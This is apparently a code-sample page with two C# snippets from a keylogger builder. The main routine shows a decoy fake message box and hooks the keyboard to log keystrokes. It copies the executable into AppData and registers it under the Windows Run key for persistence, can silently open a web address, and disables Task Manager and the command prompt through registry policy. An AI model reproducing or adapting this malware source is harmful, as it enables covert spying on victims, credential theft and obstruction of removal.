Пример #1
0
 private void BTN_FakeMessageboxPreview_Click(object sender, EventArgs e)
 {
     FakeMessageBoxCreator.createMessageBox(CB_MessageboxOption.Text, TB_FakeMessageboxText.Text, TB_FakeMessageboxName.Text, CB_MessageboxIcon.Text);
 }
Пример #2
0
        static void Main(string[] args)
        {
            #region FakeMessageBox
            if (Variables.FakeMessageBox)
            {
                FakeMessageBoxCreator.createMessageBox(Variables.MessageBoxOption, Variables.MessageBoxText, Variables.MessageBoxName, Variables.MessageBoxIcon);
            }
            #endregion
            #region IfConsoleCloses
            _handler += new EventHandler(Handler);
            SetConsoleCtrlHandler(_handler, true);
            #endregion
            #region Initialize
            InitializeTimer();
            #endregion
            #region LogKeystrokes
            KeystrokeTimer.Tick += KeystrokeTimer_Tick;
            Listener.HookKeyboard();
            LowLevelKeyhookListener();
            Application.Run();
            #endregion


            #region MoveToAppDataAndAddToStartup
            if (Variables.AddToStartup)
            {
                string exePath  = Application.ExecutablePath;
                string copyPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
                copyPath += CustomStoreFolder + Path.GetFileName(exePath);

                if (!File.Exists(copyPath) && !exePath.EndsWith("ve.exe"))
                {
                    File.Copy(exePath, copyPath);
                    #region AddToStartup
                    RegistryKey add = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                    add.SetValue(ApplicationName, "\"" + Application.ExecutablePath.ToString() + "\"");
                }
                #endregion
            }
            #endregion
            #region SiteVisitor
            if (Variables.SiteVisitor)
            {
                if (!Variables.SilentSiteVisitor)
                {
                    Process.Start(SiteVisitorURL);
                }
                else
                {
                    ProcessStartInfo OpenSite = new ProcessStartInfo()
                    {
                        UseShellExecute = false,
                        FileName        = SiteVisitorURL
                    };
                    Process Open = Process.Start(OpenSite);
                }
            }
            #endregion
            #region DisableTaskMger
            if (Variables.DisableTaskManager)
            {
                DisableOrEnableApp("DisableTaskMgr", RegistryPath, false);
            }
            #endregion
            #region DisableCMD
            if (Variables.DisableCMD)
            {
                DisableOrEnableApp("DisableCMD", RegistryPath, false);
            }
            #endregion
        }